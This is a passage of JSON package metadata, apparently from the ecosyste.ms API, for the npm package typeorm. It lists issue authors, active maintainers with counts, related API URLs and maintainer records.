https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/albasyir"},{"login":"dlhck","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dlhck"},{"login":"NoNameProvided","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/NoNameProvided"},{"login":"w3nl","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/w3nl"},{"login":"rishiraj88","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rishiraj88"},{"login":"Ginden","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Ginden"},{"login":"nikelborm","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/nikelborm"}],"active_maintainers":[{"login":"alumni","count":16,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/alumni"},{"login":"pkuczynski","count":15,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pkuczynski"},{"login":"naorpeled","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/naorpeled"},{"login":"michaelbromley","count":10,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/michaelbromley"},{"login":"Cprakhar","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Cprakhar"},{"login":"smith-xyz","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/smith-xyz"},{"login":"gioboa","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/gioboa"},{"login":"OSA413","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/OSA413"},{"login":"mguida22","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mguida22"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/typeorm/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/typeorm/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/typeorm/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/typeorm/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/typeorm/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/typeorm/codemeta","maintainers":[{"uuid":"pleerock","login":"pleerock","name":null,"email":"zarrhost@gmail.com","url":null,"packages_count":88,"html_url":"https://www.npmjs.com/~pleerock","role":null,"created_at":"2022-11-10T11:16:34.034Z","updated_at":"2022-11-10T11:16:34.034Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/pleerock/packages"},{"uuid":"michaelbromley","login":"michaelbromley","name":null,"email":"michael@michaelbromley.co.uk","url":null,"packages_count":52,"html_url":"https://www.npmjs.com/~michaelbromley","role":null,"created_at":"2025-02-27T19:32:37.536Z","updated_at":"2025-02-27T19:32:37.536Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/michaelbromley/packages"}]}